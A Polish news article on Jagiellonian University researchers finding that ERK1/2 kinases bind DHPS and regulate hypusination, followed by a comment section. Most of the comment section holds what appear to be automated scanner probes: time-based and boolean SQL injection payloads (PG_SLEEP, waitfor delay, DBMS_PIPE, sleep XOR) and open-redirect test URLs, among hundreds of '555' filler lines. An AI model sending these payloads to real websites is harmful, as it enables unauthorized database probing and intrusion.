Nieznane do tej pory mechanizmy regulacji hypuzynacji na poziomie białka odkryli naukowcy z Małopolskiego Centrum Biotechnologii Uniwersytetu Jagiellońskiego. Wyniki ich badań ukazały się na łamach „Cell Reports”.
Hypuzynacja jest unikalną modyfikacją eukariotycznego czynnika translacyjnego 5A (eIF5A), a syntaza deoksyhypuzyny (DHPS) jest odpowiedzialna za katalizowanie pierwszego, limitującego etapu tego procesu. Hypuzynacja umożliwia eIF5A wspomaganie syntezy innych białek w komórkach, co jest procesem o fundamentalnym znaczeniu. Pomimo swojej kluczowej roli w homeostazie komórkowej, regulacja hypuzynacji pozostaje mało znana.
Badacze z MCB UJ zgłębiając mechanizmy kontrolujące hypuzynację, odkryli, że kinazy ERK1/2 pełnią również funkcję niekinazową, bezpośrednio oddziałując z DHPS, regulują proces hypuzynacji. Białka ERK1/2 są kluczowymi enzymami w szlaku sygnalizacyjnym, który odgrywa istotną rolę w regulacji wzrostu i różnicowania komórek i do tej pory były głównie badane ze względu na swoją aktywność enzymatyczną (kinazową), która umożliwia im aktywację innych białek poprzez fosforylację (dodawanie grup fosforanowych).
Wykorzystując kriomikroskopię elektronową (cryoEM), krakowscy naukowcy zbadali strukturę kompleksu DHPSERK2. Dane wykazały, że ERK2 wiąże się z DHPS przy wejściu do miejsca aktywnego enzymu, skutecznie blokując dostęp dla eIF5A. Odkrycia te pokazują również, w jaki sposób sygnalizacja komórkowa za pośrednictwem szlaku Raf/MEK/ERK moduluje wiązanie się ERK1/2 z DHPS. Kiedy ten szlak jest aktywowany, interakcja między ERK1/2 a DHPS maleje, co pozwala na hypuzynację eIF5A. Co więcej, aktywność kinazowa ERK1/2 kontroluje również, ile DHPS i eIF5A produkuje komórka. Badanie to dostarcza nowych informacji na temat tego, jak komórki regulują kluczowe procesy, takie jak synteza białek w odpowiedzi na sygnały zewnętrzne.
Nasze badania strukturalne z wykorzystaniem kriomikroskopii elektronowej były kluczowe w identyfikacji, w jaki sposób ERK2 bezpośrednio oddziałuje z DHPS i zapobiega jego asocjacji z eIF5A. To fascynujące odkrycie, ponieważ poszerza klasyczną rolę ERK1/2 i pogłębia naszą wiedzę na temat regulacji hypuzynacji – przekonuje Paweł Kochanowski, doktorant w MCB UJ w Szkole Doktorskiej Nauk Ścisłych i Przyrodniczych.
Odkrycie było możliwe dzięki interdyscyplinarnej współpracy badawczej. Połączenie ekspertyzy z zakresu biologii strukturalnej i biochemii z wiedzą na temat biologii komórki i sygnalizacji komórkowej pozwoliło na przedstawienie całościowego obrazu nowego mechanizmu komórkowego, który może mieć dalekosiężne implikacje. Zrozumienie niekinazowej funkcji ERK1/2 otwiera możliwości dla przyszłych badań i może stanowić punkt wyjścia do opracowania nowych terapii. Na przykład, DHPS i eIF5A są nadmiernie produkowane w wielu nowotworach, co sugeruje, że szlak ERK1/2DHPSeIF5A może być obiecującym celem dla nowych strategii terapeutycznych.
Hypuzynacja jest fascynująca, ponieważ jest to proces nie tylko fundamentalny, ale także unikalny, gdyż modyfikacja ta jest specyficzna dla jednego białka. Do tej pory nieznane były mechanizmy regulacji hypuzynacji na poziomie białka. Nasza praca bezpośrednio łączy szlaki sygnalizacji komórkowej z hypuzynacją i po raz pierwszy nie tylko pokazuje regulację hypuzynacji na poziomie interakcji z innymi białkami, ale także ujawnia nieoczekiwaną niekinazową funkcję ERK1/2. Co więcej, dostarczamy pierwsze struktury kompleksów DHPS z białkiem spoza szlaku hypuzynacji. To otwiera drogę do nowych strategii modulacji hypuzynacji poprzez interwencję farmakologiczną, co może mieć istotne znaczenie w leczeniu pewnych chorób, w tym nowotworów czy rzadkich, genetycznych schorzeń upośledzających hypuzynację – dodaje dr hab. Przemysław Grudnik, kierownik zespołu.
Badania zostały przeprowadzone we współpracy z grupą kierowaną przez prof. JongIn Park’a z Medical College of Wisconsin. Wyniki opublikowało czasopismo Cell Reports.
MK, źródło: MCB UJ
Gratulacje,!, Więcej takich odkryć przybliży nas do wyleczenia wielu chorób, .
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@JO5TK
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Km8cLqdw')) OR 283=(SELECT 283 FROM PG_SLEEP(15))--
555tiVf2efI') OR 498=(SELECT 498 FROM PG_SLEEP(15))--
5554jb7SUIm' OR 927=(SELECT 927 FROM PG_SLEEP(15))--
555-1)) OR 730=(SELECT 730 FROM PG_SLEEP(15))--
555-1) OR 404=(SELECT 404 FROM PG_SLEEP(15))--
555-1 OR 466=(SELECT 466 FROM PG_SLEEP(15))--
555nPUIAymA'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+635-635-1=0+0+0+1 --
-1' OR 2+816-816-1=0+0+0+1 --
-1' OR 2+854-854-1=0+0+0+1 or 'YysYwyA0'='
-1 OR 2+129-129-1=0+0+0+1 --
-1 OR 2+738-738-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@6cykl
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555g9XxKSqK')) OR 870=(SELECT 870 FROM PG_SLEEP(15))--
555HUlEVupv') OR 957=(SELECT 957 FROM PG_SLEEP(15))--
555CtkRTZ3I' OR 915=(SELECT 915 FROM PG_SLEEP(15))--
555-1)) OR 835=(SELECT 835 FROM PG_SLEEP(15))--
555-1) OR 98=(SELECT 98 FROM PG_SLEEP(15))--
555-1 OR 446=(SELECT 446 FROM PG_SLEEP(15))--
555Mm3LlEuY'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+158-158-1=0+0+0+1 --
-1' OR 2+681-681-1=0+0+0+1 or 'YXPWQX7a'='
-1" OR 2+238-238-1=0+0+0+1 --
555
-1 OR 2+180-180-1=0+0+0+1 --
-1 OR 2+299-299-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx
https://redirtest.acx/
forumakademickie.pl
555
https://forumakademickie.pl/
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
https://forumakademickie.pl/
https://redirtest.acx/
forumakademickie.pl
redirtest.acx
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
Super! Nie mogę doczekać się nigdy więcej o tym nie usłyszeć :)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@63UjP
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555kjXwrkwT')) OR 638=(SELECT 638 FROM PG_SLEEP(15))--
555zef72bPe') OR 98=(SELECT 98 FROM PG_SLEEP(15))--